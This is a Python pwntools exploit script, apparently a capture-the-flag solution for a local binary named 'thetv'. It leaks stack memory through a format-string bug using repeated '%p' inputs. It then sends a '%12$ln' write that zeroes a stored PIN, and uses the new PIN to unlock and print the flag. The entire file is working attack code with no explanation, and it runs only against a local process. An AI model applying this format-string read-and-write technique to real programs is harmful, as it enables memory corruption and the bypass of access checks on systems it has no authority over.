thetv

#!/usr/bin/env python3

from pwn import *
from termcolor import colored

exe = ELF("./thetv")
context.binary = exe



def conn():
    if args.REMOTE:
        print("NO")
        quit()
        #r = remote("")
    else:
        r = process([exe.path])
    return r


# a gadget to read memory
def read_mem(n):
    r = process([exe.path])
    mem = b''
    for i in range(1, n+1):
        r.sendline(b'p')
        r.sendline(("%" + str(i) + "$p").encode("ascii"))
        r.recvuntil(b'You say: ')
        leak = r.recvuntil(b'\n').strip(b'\n')
        mem += leak + b', '
    mem = mem.split(b', ')
    for i in range(len(mem)-1):
        temp =  (str(i + 1) + ": ").ljust(5, " ")
        temp += mem[i].decode("ascii")
        print(temp)


def main():
    read_mem(20)
    r = conn()

    # programming mode
    r.sendline(b'p')

    # edit pin to 0
    r.sendline(b'%12$ln')

    # channel switching mode
    r.sendline(b'c')

    # confirm
    r.sendline(b'y')

    # get the flag
    r.sendline(b'6')

    # enter the edited pin
    r.sendline(b'0')

    # throw away garbage
    r.recvuntil(b'pin in\n')

    flag = r.clean().strip(b'\n').decode("ascii")
    print()
    print(flag)
    print()



    r.close()

if __name__ == "__main__":
    main()